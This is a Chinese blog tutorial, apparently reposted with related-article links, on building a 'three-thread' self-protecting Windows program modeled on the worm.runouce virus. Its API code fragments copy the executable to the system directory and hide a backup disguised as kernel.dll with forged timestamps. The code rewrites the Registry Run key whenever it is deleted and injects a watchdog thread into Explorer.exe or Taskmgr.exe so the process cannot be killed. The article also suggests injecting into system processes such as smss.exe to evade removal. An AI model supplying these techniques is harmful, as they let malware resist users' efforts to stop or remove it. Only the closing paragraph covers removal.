浅析三线程程序开发思路与实现

简介: 我们已经看到,创建三线程就是为了更好的保护程序自身不被关闭和删除。两个辅助线程相互实时监视,如果监视对象被关闭了,就重新创建线程或进程。其实,在 程序中我们选择的远程进程驻体为Explorer.exe和Taskmgr.exe。

一、前言
    中国黑客(worm.runouce)病毒在国内出现以后,各大反病毒公司都对其进行了“仔细”的分析,得出一个结论:“中国黑客”发现了全球首创的“三 线程”结构。这是金*公司对外的宣传词,我个人对病毒没什么研究,并且我对worm.runouce没有任何的个人看法,不过我可以确信的是很多反病毒公 司往往在夸大事实,目的只有一个:让更多的用户觉得某某病毒很可怕,让更多的用户相信只有某某公司的杀毒软件才可以彻底将病毒清除掉。其实三线程并没有好 高深的技术,不过ideal is wonderful。现在就让我们一步步揭开三线程程序开发的神秘面纱。

 二、三线程程序开发思路
    在操作系统中,进程是存储器,外设等资源的分配单位,同时也是处理器调度的对象,但为了提高进程内的并发性,windows系统中引入了线程这个概念(在 很多其他操作系统中同样也有线程的概念,由于在2001年微软停止了window9x内核的研发,所以本文只针对windowx2000/xp操作系 统),这时系统把线程作为处理器调度的对象,一个进程可以同时拥有多个并发的线程。通常情况下的简单程序就只有一个主线程,它是在进程创建时自动生成的。 我们可以将想要执行的代码放在主线程里,然后再生成两个辅助线程,它们的功能就是实现对程序的保护功能,防止程序被用户关闭或删除。在此,称我们的可执行 文件的进程为主进程。

    主线程需要完成的任务有三个,它们分别是准备工作,创建辅助线程和程序主要功能的实现。准备工作当然是为程序运行过程中所需要的一些部件做好准备,其中包 括文件复制和保存,一般情况下是把可执行文件复制到系统目录下。当然为了防止意外删除,我们可以将程序的可执行文件备份,不过要注意修改一些属性(文件类 型,大小,日期,属性),这样就不容易被发现与我们的可执行文件有关联了。创建辅助线程包括两个线程,一个驻留在主进程体内,另一个通过创建远程线程驻留 到其他正在运行的进程体内。这两个线程的功能就是监视其他进程或线程的运行情况,如果出现异常立即恢复。程序的主要功能就不用多说了,想干什么就干什么, 一般是一些不想让用户关闭的程序。

    驻留主进程体内的线程同时观察注册表和远程进程的情况。它实时查询注册表里 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run键下相关可执行文 件的键值,如果被删除就立即将其添加上。这就是对注册表的实时监视,使得每次开机时都会运行我们的可执行文件。而另一个功能则是监视驻留在远程进程体内辅 助线程的运行情况,如果该线程被关闭,立即通过创建远程线程将被关闭的线程驻留到特定的进程内。如果你知道了辅助线程是驻留在那个进程内的,你就可以将这 个远程进程关闭掉。但是我们还是可以将辅助线程驻留到其他的远程进程内。至于选定哪个远程进程,完全视你的心情而定。

    驻留在远程进程体内的辅助线程则监视主进程的运行情况,如果主进程被kill了,它会确认程序的可执行文件是否也被删除掉了。如果系统目录下的可执行文件 不存在了,则用我们备份的文件恢复可执行文件,然后再重新启动程序,这样你在任务管理器里怎么也删除不了主进程。由于我们是创建远程线程,所以必须把线程 的代码和线程所需要的参数都复制到远程进程的地址空间里。这是因为在windows2000/xp环境下,访问其他进程地址空间是违规的。我们把代码和参 数复制过去后,线程就完全在远程进程的地址空间运行了。我们可以看到,通过两个辅助线程,就很难把主进程关闭或删除掉。

    现在我们就以一个诱鼠器为例,来分析三线程的程序结构,如下图:

  |---------->-----------|   
remote ---<--- T-mouse --->--- watch --->--- Registry
  |------------------<--------------------|

    其中T-mouse为主进程/主线程,remote为创建的远程线程,watch为本地的辅助监视线程,Registry为注册表文件。T-mouse创 建remote和watch两个线程,remote监视T-mouse主进程,watch监视注册表文件和remote线程。   
    
 三、核心代码分析
    本文的程序仅针对windows2000/xp操作系统,程序中使用的UNICODE编码。测试环境:Windows2000 + SP2 + VC6.0。整个程序分主线程main,本地辅助监视线程watch,远程线程remote,还包括获得进程ID的processtopid和创建远程线程的createremote两个自定义函数。

1.主线程:main
    GetSystemDirectory(syspath,MAX_PATH);
    //获得操作系统的系统目录;
    FindFirstFile(tname,&fdata);
    //查询系统目录下的T-mouse.exe是否存在;
    CopyFile(curname,tname,TRUE);
    //如果系统目录下没有,在将正在运行的程序复制到系统目录下;
    FindClose(ffhandle);
    //在查询完毕后,关闭相关句柄;
    CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    //打开系统目录下的备份文件kernel.dll; 
    SetFileTime(fchandle,&ftime,NULL,&ftime);
    //修改kernel.dll的创建时间,修改时间;
    SetFileAttributes(kname,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM );
    //设置kernel.dll的属性为只读,系统及隐藏;
    CreateThread(NULL,0,watch,(LPVOID)rthread,0,NULL);
    //创建驻留在主进程内的辅助监视线程

2.本地辅助监视线程:watch
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);
    //以查询方式打开注册表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run;
    RegQueryValueEx(hkey,_T("T-mouse"),NULL,NULL,(LPBYTE)lpdata,&dwbuflen);
    //查询是否存在T-mouse的键值;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
    //如果没有相关键值,就以写方式再次打开注册表;
    RegSetValueEx(hkey,_T("T-mouse"),NULL,type,(const byte *)wtname,dwbuflen);
    //写入我们想要的东西,系统每次启动都会运行我们的可执行文件;
    GetExitCodeThread(wethread,&exitcode);
    //获得远程线程的运行情况,看是否为STILL_ACTIVE,如果不是则创建远程线程;
    
3.远程线程:remote
    tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp->rpmousepid);
    //以所有可能的访问方式打开主进程,以便监视主进程的运行情况;
    tWaitForSingleObject(erp->rpprocesshandle,INFINITE);
    //等待直到主进程结束;
    tWinExec(erp->rpwinexecname, 0);
    //重新启动我们的可执行文件;

4.获得进程ID:processtopid
    EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded);
    //列举所有的进程
    OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
    //以查询信息和读取的方式打开进程
    EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded);
    //获得进程模块的句柄
    GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
    //获得特定模块的名字,以备比较

5.创建远程线程:createremote
    OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);
    //PROCESS_CREATE_THREAD for CreateRemoteThread
    //PROCESS_VM_OPERATION  for VirtualAllocEx
    //PROCESS_VM_WRITE      for WriteProcessMemory
    VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    //在远程进程中分配空间,以备将线程代码置入其中;
    WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL);
    //将远程线程remote的代码写入到远程进程的地址空间中
    WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL);
    //将远程线程所需的参数也写入到远程进程的地址空间中
    CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
    //创建远程监视线程

 四、小结与后记
    我们已经看到,创建三线程就是为了更好的保护程序自身不被关闭和删除。两个辅助线程相互实时监视,如果监视对象被关闭了,就重新创建线程或进程。其实,在 程序中我们选择的远程进程驻体为Explorer.exe和Taskmgr.exe。在通常情况下,如果用户知道了远程线程的驻体为资源管理器后,就会打 开任务管理器来结束Explorer,这时我们再把远程线程驻入到任务管理器中。也就是说,只要Explorer或Taskmgr有一个存在,就不可能结 束主进程。如果有其他Kill进程的工具,你就可以将其关闭掉,只要资源管理器和任务管理器均不存在时,就没有驻体来维持远程进程。不过,如果我们选择的 远程进程为随机的,这就不容易发现了;如果我们选择的远程进程为系统文件(如smss.exe会话管理器),那么你是不会安全的结束远程线程,除非系统崩 溃。

    如何不用其他的工具将其关闭并删除呢?你也可以进入到DOS或Safe模式下,将系统目录下的可执行文件删除,然后重启系统。这时,就不会自动运行程序 了,然后将注册表里RUN键下的相关键值,系统目录下的备份文件及首次运行的可执行文件删除就彻底清楚了。在调试程序时,为了对远程线程的运行情况有所了 解,我们使用了工具Dbgview.exe。

目录
相关文章
|
程序员 开发者 Windows
多线程多任务是程序开发者与用户都需要的中资产
多线程多任务是程序开发者与用户都需要的中资产
71 0
|
4月前
|
Java 开发者
Java多线程编程中的常见误区与最佳实践####
本文深入剖析了Java多线程编程中开发者常遇到的几个典型误区,如对`start()`与`run()`方法的混淆使用、忽视线程安全问题、错误处理未同步的共享变量等,并针对这些问题提出了具体的解决方案和最佳实践。通过实例代码对比,直观展示了正确与错误的实现方式,旨在帮助读者构建更加健壮、高效的多线程应用程序。 ####
|
4月前
|
安全 Java UED
深入浅出Java多线程编程
【10月更文挑战第40天】在Java的世界中,多线程是提升应用性能和响应能力的关键。本文将通过浅显易懂的方式介绍Java中的多线程编程,从基础概念到高级特性,再到实际应用案例,带你一步步深入了解如何在Java中高效地使用多线程。文章不仅涵盖了理论知识,还提供了实用的代码示例,帮助你在实际开发中更好地应用多线程技术。
110 5
|
20天前
|
Linux
Linux编程: 在业务线程中注册和处理Linux信号
本文详细介绍了如何在Linux中通过在业务线程中注册和处理信号。我们讨论了信号的基本概念,并通过完整的代码示例展示了在业务线程中注册和处理信号的方法。通过正确地使用信号处理机制,可以提高程序的健壮性和响应能力。希望本文能帮助您更好地理解和应用Linux信号处理,提高开发效率和代码质量。
44 17
|
1月前
|
Linux
Linux编程: 在业务线程中注册和处理Linux信号
通过本文,您可以了解如何在业务线程中注册和处理Linux信号。正确处理信号可以提高程序的健壮性和稳定性。希望这些内容能帮助您更好地理解和应用Linux信号处理机制。
54 26
|
3月前
|
存储 安全 Java
Java多线程编程秘籍:各种方案一网打尽,不要错过!
Java 中实现多线程的方式主要有四种:继承 Thread 类、实现 Runnable 接口、实现 Callable 接口和使用线程池。每种方式各有优缺点,适用于不同的场景。继承 Thread 类最简单,实现 Runnable 接口更灵活,Callable 接口支持返回结果,线程池则便于管理和复用线程。实际应用中可根据需求选择合适的方式。此外,还介绍了多线程相关的常见面试问题及答案,涵盖线程概念、线程安全、线程池等知识点。
245 2
|
4月前
|
设计模式 Java 开发者
Java多线程编程的陷阱与解决方案####
本文深入探讨了Java多线程编程中常见的问题及其解决策略。通过分析竞态条件、死锁、活锁等典型场景,并结合代码示例和实用技巧,帮助开发者有效避免这些陷阱,提升并发程序的稳定性和性能。 ####
|
4月前
|
缓存 Java 开发者
Java多线程编程的陷阱与最佳实践####
本文深入探讨了Java多线程编程中常见的陷阱,如竞态条件、死锁和内存一致性错误,并提供了实用的避免策略。通过分析典型错误案例,本文旨在帮助开发者更好地理解和掌握多线程环境下的编程技巧,从而提升并发程序的稳定性和性能。 ####
|
3月前
|
缓存 Java 调度
多线程编程核心:上下文切换深度解析
在现代计算机系统中,多线程编程已成为提高程序性能和响应速度的关键技术。然而,多线程编程中一个不可避免的概念就是上下文切换(Context Switching)。本文将深入探讨上下文切换的概念、原因、影响以及优化策略,帮助你在工作和学习中深入理解这一技术干货。
64 10
|
3月前
|
安全 算法 Java
Java多线程编程中的陷阱与最佳实践####
本文探讨了Java多线程编程中常见的陷阱,并介绍了如何通过最佳实践来避免这些问题。我们将从基础概念入手,逐步深入到具体的代码示例,帮助开发者更好地理解和应用多线程技术。无论是初学者还是有经验的开发者,都能从中获得有价值的见解和建议。 ####